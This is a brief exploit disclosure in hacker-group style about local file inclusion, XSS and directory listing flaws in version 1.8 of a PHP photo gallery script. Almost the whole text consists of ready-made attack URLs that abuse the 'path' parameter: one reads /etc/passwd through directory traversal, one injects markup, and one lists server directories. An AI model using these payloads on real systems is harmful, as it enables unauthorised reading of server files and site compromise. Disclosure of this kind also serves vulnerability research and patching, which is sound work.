otopholder 1.8 suffers from a local file inclusion,XSS and directory listing vuln

[vampire_chiristof]

vendor:

http://www.jakeo.com


vuln :

http://[host]/foto/index.php?path=../../etc/passwd


http://[host]/foto/index.php?path=<b>xss</b>


http://[host]/foto/index.php?path=../../[directory listing]



Author : Vampire 


[EMAIL PROTECTED]


Homepage : Www.HackerZ.iR


Www.H4ckerZ.Com


Iran HackerZ Security Team